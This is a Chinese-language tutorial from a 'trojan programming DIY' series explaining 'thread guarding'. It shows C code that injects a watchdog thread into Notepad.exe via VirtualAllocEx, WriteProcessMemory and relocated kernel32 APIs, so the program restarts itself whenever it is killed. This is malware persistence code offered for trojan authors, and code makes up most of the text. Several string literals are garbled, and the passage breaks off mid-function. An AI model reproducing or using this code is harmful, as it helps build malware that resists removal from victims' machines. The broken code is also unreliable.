发布时间 : 星期三 文章木马编程DIY线程守护更新完毕开始阅读
木马编程DIY之线程守护
文/图 冷风
要防止自己的程序被关闭,通常有两种方法1.像IcesWord一样HOOK系统底层的函数2.使用线程保护。这里我们主要学习线程保护的方法
线程保护的思路就是让其它程序监视自己,如果自身程序退出了,那么监视程序就重新启动,这个过程我简单画了一个图如图1所示
跟据图示1我们来分析一下线程守护的思路,并编程实现一个简单的线程守护程序,本程序完成的功能是把监视代码插入到Notepad.exe进程
以监视程序本身,如果自身被关闭,Notepad.exe进程将重新启动自身程序,以达到不死的效应,以下代码在VC6中编译通过
现在我们重新整理一下思路,首先我们找一个其它进程做为我们的保护神并把自己进程的句柄传保护神,保护神通过用WaitForSingleObject 函数来检测句柄来判断要保护的进程是否结束,如果结束就重新启动我们的程序.跟据上面的思路我们来分析细节的实现
1.检测并保护程序的远程线程代码
因为保护自己的代码要注入到Notepad.exe进程,而执行在远程线程代码的API都需要重新定位,为解决这个问题我们定义如下的结构 typedef struct _remoteparameter {
DWORD rpWaitForSingleObject; DWORD rpOpenProcess; DWORD rpWinExec;
DWORD rpProcessPID; HANDLE rpProcessHandle; char path[MAX_PATH]; }REMOTEPARAM;
这个结构中包的前三项为远程线程中需要使用的API函数, rpProcessPID为要保护的进程PID,rpProcessHandle用来保存要保护进程的句柄 path为当程序被关闭时需要启动的程序路径。远程线程函数如下
DWORD WINAPI remote(LPVOID pvparam)
{
REMOTEPARAM *rp=(REMOTEPARAM*)pvparam; //传递进来的信息
typedef UINT (WINAPI *EWinExec) (LPCSTR, UINT);
typedef HANDLE (WINAPI *EOpenProcess) (DWORD, BOOL, DWORD); typedef DWORD (WINAPI *EWaitForSingleObject) (HANDLE, DWORD);
EWinExec tWinExec; EOpenProcess tOpenProcess;
EWaitForSingleObject tWaitForSingleObject;
tOpenProcess =(EOpenProcess)rp->rpOpenProcess;
tWaitForSingleObject =(EWaitForSingleObject)rp->rpWaitForSingleObject;
tWinExec =(EWinExec)rp->rpWinExec;
rp->rpProcessHandle=tOpenProcess(PROCESS_ALL_ACCESS,FALSE,rp->rpProcessPID);//打开要保护的进程
tWaitForSingleObject(rp->rpProcessHandle,INFINITE);//要保护的进程是否结束
tWinExec(rp->path, SW_SHOW);//如果结束就重新启动程序 return 0; }
2.将remote函数代码注入Notepad.exe进程并启动
这里为了方便我定义成了一个函数,使用时只要提供要注入的进程名称就可以完成线程守护的功能,它的返回值是远程线程的句柄
其实现如下:
HANDLE CreateRemoteThreadProc(char* ProcessName) {
HANDLE ThreadHandle; char FilePath[MAX_PATH];
GetModuleFileName(NULL,FilePath,MAX_PATH);//得到文件所在路径
int procID=processtopid(ProcessName);
printf(\
HINSTANCE hkernel32; HANDLE rphandle; char *remotethr; char *remotepar; int cb;
rphandle=OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE,procID); if(rphandle==NULL) {
printf(\ } else {
printf(\ }
/*****************************************************************/
/*将远程线程函数代码拷入目标进程*/
/*****************************************************************/
cb=sizeof(char)*4*1024;
remotethr=(PTSTR)VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE); if(remotethr==NULL) {
printf(\ CloseHandle(rphandle); } else
printf(\
if(WriteProcessMemory(rphandle,remotethr,(LPVOID)remote,cb,NULL)==FALSE) {
printf(\ CloseHandle(rphandle); } else
printf(\
/*****************************************************************/
/*将远程线程函数参数拷入目标进程*/ /*这里需要重定位远程线程需要的API*/
/*****************************************************************/
REMOTEPARAM rp;
memset((char*)&rp,0,sizeof(rp));
hkernel32=GetModuleHandle(\
if(hkernel32==NULL) {
printf(\ }
rp.rpProcessPID =GetCurrentProcessId();
rp.rpOpenProcess =(DWORD)GetProcAddress(hkernel32,\nProcess\
rp.rpWinExec =(DWORD)GetProcAddress(hkernel32,\Exec\
rp.rpWaitForSingleObject=(DWORD)GetProcAddress(hkernel32,\tForSingleObject\
_tcscpy(rp.path,FilePath);
cb=sizeof(char)*sizeof(rp);
remotepar=(PTSTR)VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_READWRITE);
if(remotepar==NULL) {